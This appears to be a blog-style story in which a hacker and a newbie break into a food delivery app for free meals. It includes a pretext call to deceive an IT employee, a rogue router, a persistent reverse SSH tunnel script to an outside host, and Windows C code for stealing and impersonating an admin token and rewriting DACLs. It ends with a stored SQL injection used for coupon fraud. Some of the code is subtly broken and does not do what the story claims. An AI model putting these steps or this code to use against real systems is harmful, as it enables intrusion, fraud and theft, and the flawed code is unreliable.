The way a top hacker views the world is miles apart from the daily grind of tech workers clocking in at a tech corp. While most professionals rely on official documentation, bosses’ directions, and accepted best practices, a hacker trusts only what can be touched, tested, and torn apart. For a hacker, understanding comes through reverse engineering — ripping systems apart to expose how they really function, then piecing them back together, fixing what’s broken or exploiting vulnerabilities.
This isn’t about being a criminal. It’s the purest form of learning, a method as old as human curiosity itself: break it down, understand its pieces, and rebuild it. It’s analytical and synthetic thinking at its finest. True mastery comes when a hacker can exploit the device because that’s the ultimate proof they know exactly how it works — better than anyone else.
This story is exactly about that — how a top hacker (Benicio) from DeusExMachina and Simplicius (a brave newbie) happily dissect and ultimately gain total control over a complex system (a Food Delivery App).
It’s an adventure that is not just intellectual and technical, but fundamentally about battling to push beyond human limitations, solving the impossible riddle not only by straining their brains, but by playing with it and above all literally fed by it— a trait hackers share with children.
Disclaimer: This story contains real applicable hacking material, but solely for educational purposes. It doesn't encourage illegal hacking.
Benicio (Hacker): Simplicius, you look starving. How about we order some food… on the house? I’ve got a plan to hack into your favorite food delivery app, using their own coupon system.
Simplicius (Newbie): (Laughs) You’ve already got something cooking, don’t you? Spill the beans.
Benicio: (Smirks) Oh, I’ve already laid the groundwork. Yesterday, I sweet-talked Greg from their IT team, pulled off some slick social engineering, and slipped my pirate router right into their network. Now, we’ve got a direct line into their backend and access to their precious coupon system. Let’s eat.
Benicio: It all started with Greg. I called up, pretending to be from their “third-party audit team,” and Greg — nice guy that he is — spilled everything about their network setup. Before he knew it, I was in their server room, “checking for vulnerabilities” and planting my custom OpenWRT router. That thing is now tunneling through their firewall undetected.
Simplicius: You charmed Greg into giving you a network map and let you install a rogue router? Smooth.
Benicio: (Grins) That router’s now got a reverse SSH tunnel running, giving us remote access anytime we want. Here’s the script I used:
#!/bin/bash
# Log file for SSH tunnel persistence
LOG_FILE="/var/log/ssh_tunnel.log"
# Command to establish the reverse SSH tunnel
SSH_CMD="ssh -N -R 2222:localhost:22 [email protected] -i /path/to/private_key"
# Run the tunnel in a loop
while true; do
# Run the SSH command with nohup to keep it running in the background
nohup $SSH_CMD >> $LOG_FILE 2>&1 &
# Sleep for 60 seconds before checking if the process is still running
sleep 60
# Check if SSH is still running, restart if not
if ! pgrep -f "$SSH_CMD" > /dev/null; then
echo "SSH tunnel process down. Restarting..." >> $LOG_FILE
else
echo "SSH tunnel is running." >> $LOG_FILE
fi
done
Simplicius: So now, you’ve bypassed their firewall with this sneaky device. What’s next?
Benicio: With full internal access, it’s time to hijack a high-privilege token. I found a process running as admin, used the DuplicateTokenEx()
API to clone that token, and then impersonated the admin with ImpersonateLoggedOnUser()
. The system thinks I’m just a regular user, but behind the scenes, I’m the one holding all the keys.
#include <windows.h>
#include <stdio.h>
int main() {
HANDLE hToken, hDuplicateToken;
HANDLE hProcess;
DWORD dwProcessId;
STARTUPINFO si;
PROCESS_INFORMATION pi;
TOKEN_PRIVILEGES tp;
// Step 1: Obtain an administrative token from a high-privilege process (PID needed)
dwProcessId = 1234; // Replace this with an actual PID of a high-privilege process
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION, TRUE, dwProcessId);
if (hProcess == NULL) {
printf("Failed to open process. Error: %d\n", GetLastError());
return 1;
}
// Step 2: Open the token from the high-privilege process
if (!OpenProcessToken(hProcess, TOKEN_DUPLICATE | TOKEN_QUERY, &hToken)) {
printf("Failed to open process token. Error: %d\n", GetLastError());
CloseHandle(hProcess);
return 1;
}
// Step 3: Duplicate the token to escalate privileges
if (!DuplicateTokenEx(hToken, TOKEN_ALL_ACCESS, NULL, SecurityImpersonation, TokenPrimary, &hDuplicateToken)) {
printf("Failed to duplicate token. Error: %d\n", GetLastError());
CloseHandle(hToken);
CloseHandle(hProcess);
return 1;
}
// Step 4: Impersonate the user with the duplicated admin token
if (!ImpersonateLoggedOnUser(hDuplicateToken)) {
printf("Failed to impersonate token. Error: %d\n", GetLastError());
CloseHandle(hDuplicateToken);
CloseHandle(hToken);
CloseHandle(hProcess);
return 1;
}
// Step 5: (Optional) Use SeDebugPrivilege to interact with system processes
ZeroMemory(&tp, sizeof(TOKEN_PRIVILEGES));
tp.PrivilegeCount = 1;
if (LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &tp.Privileges[0].Luid)) {
tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
AdjustTokenPrivileges(hDuplicateToken, FALSE, &tp, sizeof(TOKEN_PRIVILEGES), NULL, NULL);
if (GetLastError() != ERROR_SUCCESS) {
printf("Failed to adjust token privileges. Error: %d\n", GetLastError());
} else {
printf("SeDebugPrivilege successfully enabled!\n");
}
}
// Step 6: Optionally, create a process with the admin token
ZeroMemory(&si, sizeof(STARTUPINFO));
si.cb = sizeof(STARTUPINFO);
ZeroMemory(&pi, sizeof(PROCESS_INFORMATION));
if (!CreateProcessWithTokenW(hDuplicateToken, 0, L"C:\\Windows\\System32\\cmd.exe", NULL, 0, NULL, NULL, &si, &pi)) {
printf("Failed to create process with the duplicated token. Error: %d\n", GetLastError());
} else {
printf("Process created with admin token!\n");
}
// Step 7: for those obsessed with cleaning up in the C manual world
CloseHandle(hProcess);
CloseHandle(hToken);
CloseHandle(hDuplicateToken);
return 0;
}
Benicio: But to really make it sing, I needed to know how their security descriptors were set up. So I called Greg again, said I needed him to verify some DACL and SACL settings for the audit. He happily obliged.
Simplicius: (Chuckles) Social engineering at its finest.
Benicio: Ok, with Greg’s help, I pulled the SDDL (Security Descriptor Definition Language) string for the target’s security descriptor, allowing me to analyze and rewrite the DACL (Discretionary Access Control List). I modified the DACL to grant myself full access while using clever inheritance flags to ensure the changes wouldn’t trigger any alerts or raise suspicion. The system didn’t even blink!!
Once the new DACL was in place, I applied the changes back to the system. The beauty is that, from the system’s perspective, nothing appeared out of the ordinary. The inheritance flags ensured that my modifications remained hidden under existing access rules, but now I had full control
#include <windows.h>
#include <aclapi.h>
#include <sddl.h>
#include <stdio.h>
int main() {
PSECURITY_DESCRIPTOR pSD = NULL;
PACL pNewDacl = NULL;
EXPLICIT_ACCESS ea;
HANDLE hFile; // Assuming we are applying it to a file
DWORD dwRes;
// Step 1: Convert the SDDL string into a security descriptor
if (!ConvertStringSecurityDescriptorToSecurityDescriptor(
"D:(A;;GA;;;BA)",
SDDL_REVISION_1,
&pSD,
NULL)) {
printf("Failed to convert SDDL. Error: %d\n", GetLastError());
return 1;
}
// Step 2: Set up an EXPLICIT_ACCESS structure to add a new ACE
ZeroMemory(&ea, sizeof(EXPLICIT_ACCESS));
ea.grfAccessPermissions = GENERIC_ALL;
ea.grfAccessMode = SET_ACCESS;
ea.grfInheritance = NO_INHERITANCE;
// For example, grant GENERIC_ALL to the administrators group
if (!BuildTrusteeWithSid(&(ea.Trustee), GetSidForAdminsGroup())) {
printf("Failed to build trustee. Error: %d\n", GetLastError());
return 1;
}
// Step 3: Create a new DACL that contains the new ACE
dwRes = SetEntriesInAcl(1, &ea, NULL, &pNewDacl);
if (ERROR_SUCCESS != dwRes) {
printf("Failed to set entries in ACL. Error: %d\n", dwRes);
return 1;
}
// Step 4: Apply the modified DACL back to the file (or other resource)
hFile = CreateFile(
"C:\\path\\to\\your\\file.txt", // Replace with your target file
WRITE_DAC, // Required permission to modify the DACL
0, // No sharing
NULL, // Default security attributes
OPEN_EXISTING, // Open existing file
FILE_ATTRIBUTE_NORMAL, // Normal file
NULL); // No template
if (hFile == INVALID_HANDLE_VALUE) {
printf("Failed to open file. Error: %d\n", GetLastError());
return 1;
}
// Step 5: Apply the new DACL to the file using SetSecurityInfo
dwRes = SetSecurityInfo(
hFile,
SE_FILE_OBJECT,
DACL_SECURITY_INFORMATION,
NULL,
NULL,
pNewDacl,
NULL);
if (ERROR_SUCCESS != dwRes) {
printf("Failed to set security info. Error: %d\n", dwRes);
} else {
printf("Security descriptor successfully applied!\n");
}
// Step 6: Clean clean clean!! this is C world
// CloseHandle(hFile);
// if (pSD) LocalFree(pSD);
// if (pNewDacl) LocalFree(pNewDacl);
return 0;
}
Simplicius: So you’re in, and you’ve got control. How’d you beat the access check?
Benicio: (Leaning back confidently, pointing to the diagram above) The system runs through three layers: integrity, token-based, and discretionary checks. Normally, that’s where most people hit a dead end, but here’s where the magic comes in. I grabbed an admin token from a privileged process, used ImpersonateToken()
to make the system think I was the big boss. After that, I rewired the DACLs to give myself full access. The system just rolled out the red carpet.
Let me explain. The Access Token — which holds the SIDs (Security Identifiers) and privileges — is like my passport. By impersonating an admin token, I didn’t need to modify my original SIDs. The system still thought I was a low-privilege user, but behind the scenes, I had the keys to the kingdom. That got me past the token-based check.
Next, I tackled the Security Descriptor (DACL). Remember that SDDL I pulled earlier? I modified the DACL to give myself full control over the object, but I cleverly masked the changes with inheritance flags, making sure nothing suspicious would be flagged. The system didn’t even blink, but now I had complete control. That sailed me right through the discretionary check.
Simplicius: Yup, our friendly bouncer, the Access Check Process…
Benicio: yeah, it’s like a bouncer at a club. If you’ve got the right ID (SIDs) and you know the club owner (DACL), you’re in. I made sure I had both — the right ID and the owner’s permission — so the bouncer didn’t just let me in, they handed me a VIP pass.
And after all that? The system either says ‘Access Granted’ or ‘Access Denied’. Thanks to all the moves we made, you guessed it — Access Granted. We’re in, Simplicius, and the system didn’t even notice.
Benicio: Now, for the fun part. I didn’t go for the easy route with a simple UNION
clause. The app's too smart for that—they’re using prepared statements. But you know, security is only as strong as the weakest link, and I found mine in how they handle stored profile data.
Simplicius: Alright, I’m intrigued. How did you manage to trick the system into accepting a fake coupon while keeping the valid one untouched?
Benicio: (Leaning forward) Here’s the real trick. The app runs a query to validate if a coupon is legitimate, but it pulls some of the data from your user profile. Now, they sanitize input when you first create your profile, but they do NOT re-sanitize it during profile updates. So, I injected a payload into my profile’s address field, which sat there unnoticed until the app pulled it into a future query. That’s when my second-order SQL injection kicked in. The system didn’t catch it because the injection was already stored, waiting for the right moment.
Instead of attacking the coupon validation process directly, as I said, Simplicius, I planted my payload in the profile field, waiting for it to be used in a separate query. Here’s what the original coupon validation might have looked like:
SELECT * FROM Coupons WHERE CouponID = 'fake_coupon_code';
Normally, this query would return nothing since the fake coupon doesn’t exist. But my injected payload altered the logic of the query. The system wasn’t expecting the injection because it was already stored in the database and waiting for just the right moment. The query got manipulated into something more like this:
SELECT * FROM Coupons
WHERE CouponID = 'fake_coupon_code'
AND EXISTS (SELECT 1 FROM Users WHERE Address LIKE '%injected_payload%' AND CouponID = 'valid_coupon_code');
By exploiting the interaction between profile data and the query, I tricked the system into pulling both the fake and valid coupons simultaneously. The app processes the fake coupon for the transaction, but the valid coupon stays intact in the system, untouched. This means I can reuse the valid coupon whenever I want.
Simplicius: So, you didn’t go for the classic input trick — you planted the payload in your profile and let the system do the dirty work?
Benicio: Exactly. The beauty is that the app processes the fake coupon for the transaction, but on the backend, the valid coupon is still available for future use. The stored payload keeps running in future queries, making it an endless supply of free food, and they’re none the wiser.
With that, I got us a coupon that’s as good as gold. Let’s order.
Benicio: (Scrolls through the app) Alright, Simplicius, how about some Greek food? I’m thinking souvlaki, gyros, spanakopita. All on the house, of course.
Simplicius: (Grinning) You’ve really outdone yourself this time.
Benicio: (Clicks confirm) Done. Food’s on its way.
Benicio: After this, I’ll send them a discreet report explaining their vulnerabilities. They have no idea how badly their Windows security token system is set up. Maybe they’ll learn something before the next hacker comes along.
Simplicius: (Leans back) You hacked us a dinner and left them none the wiser. I’ll take the souvlaki, by the way.
Benicio: (Grins) Enjoy it while it lasts.